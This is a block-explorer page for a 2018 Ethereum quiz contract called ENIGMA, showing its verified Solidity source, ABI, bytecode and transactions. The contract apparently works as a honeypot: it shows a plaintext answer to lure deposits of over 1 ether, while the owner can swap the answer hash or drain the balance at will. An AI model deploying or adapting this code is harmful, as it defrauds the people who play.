ETH Price: $2,923.53 (-2.18%)
Gas: 37 Gwei

Contract

0x3B048ab84ddd61C2FfE89EDe66D68ef27661C0f2
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Start Game55222322018-04-28 19:40:112125 days 2 hrs ago1524944411IN
0x3B048a...7661C0f2
1.00020033 ETH0.000116333.8
0x6060604055221902018-04-28 19:29:462125 days 2 hrs ago1524943786IN
 Create: ENIGMA
0 ETH0.00160134

Latest 1 internal transaction

Advanced mode:
Parent Txn Hash Block From To Value
55243632018-04-29 4:06:592124 days 17 hrs ago1524974819
0x3B048a...7661C0f2
1.00020033 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ENIGMA

Compiler Version
v0.4.20+commit.3155dd80

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-04-28
*/

pragma solidity ^0.4.20;

contract ENIGMA
{
    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function StartGame(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }
    
    function Play(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        if(responseHash == keccak256(_response) && msg.value>1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        question = _question;
        responseHash = _responseHash;
    }
    
    function() public payable{}
    
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"StartGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

6060604052341561000f57600080fd5b6105188061001e6000396000f30060606040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f1c827f811461006e5780633e3ee859146100f65780633fad9ae01461013e578063648f0bde146101c8578063f50ab247146101db575b005b61006c60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506101e395505050505050565b61006c60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650509335935061028d92505050565b341561014957600080fd5b6101516102c2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018d578082015183820152602001610175565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6004803560248101910135610360565b61006c6103f7565b600254151561028957806040518082805190602001908083835b6020831061021c5780518252601f1990920191602091820191016101fd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600255600082805161025f929160200190610451565b506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b5050565b60015433600160a060020a039081169116146102a857600080fd5b60008280516102bb929160200190610451565b5060025550565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b32600160a060020a031633600160a060020a031614151561038057600080fd5b8181604051808383808284378201915050925050506040519081900390206002541480156103b55750670de0b6b3a764000034115b156102895733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028957600080fd5b60015433600160a060020a0390811691161461041257600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561044f57600080fd5b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061049257805160ff19168380011785556104bf565b828001600101855582156104bf579182015b828111156104bf5782518255916020019190600101906104a4565b506104cb9291506104cf565b5090565b6104e991905b808211156104cb57600081556001016104d5565b905600a165627a7a723058206429894ceb4c325bd6f2c8c826e8a5159d640967f14166aa538855c3df8f27490029

Deployed Bytecode

0x60606040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f1c827f811461006e5780633e3ee859146100f65780633fad9ae01461013e578063648f0bde146101c8578063f50ab247146101db575b005b61006c60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506101e395505050505050565b61006c60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650509335935061028d92505050565b341561014957600080fd5b6101516102c2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018d578082015183820152602001610175565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6004803560248101910135610360565b61006c6103f7565b600254151561028957806040518082805190602001908083835b6020831061021c5780518252601f1990920191602091820191016101fd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600255600082805161025f929160200190610451565b506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b5050565b60015433600160a060020a039081169116146102a857600080fd5b60008280516102bb929160200190610451565b5060025550565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b32600160a060020a031633600160a060020a031614151561038057600080fd5b8181604051808383808284378201915050925050506040519081900390206002541480156103b55750670de0b6b3a764000034115b156102895733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028957600080fd5b60015433600160a060020a0390811691161461041257600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561044f57600080fd5b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061049257805160ff19168380011785556104bf565b828001600101855582156104bf579182015b828111156104bf5782518255916020019190600101906104a4565b506104cb9291506104cf565b5090565b6104e991905b808211156104cb57600081556001016104d5565b905600a165627a7a723058206429894ceb4c325bd6f2c8c826e8a5159d640967f14166aa538855c3df8f27490029

Swarm Source

bzzr://6429894ceb4c325bd6f2c8c826e8a5159d640967f14166aa538855c3df8f2749

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Txn Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.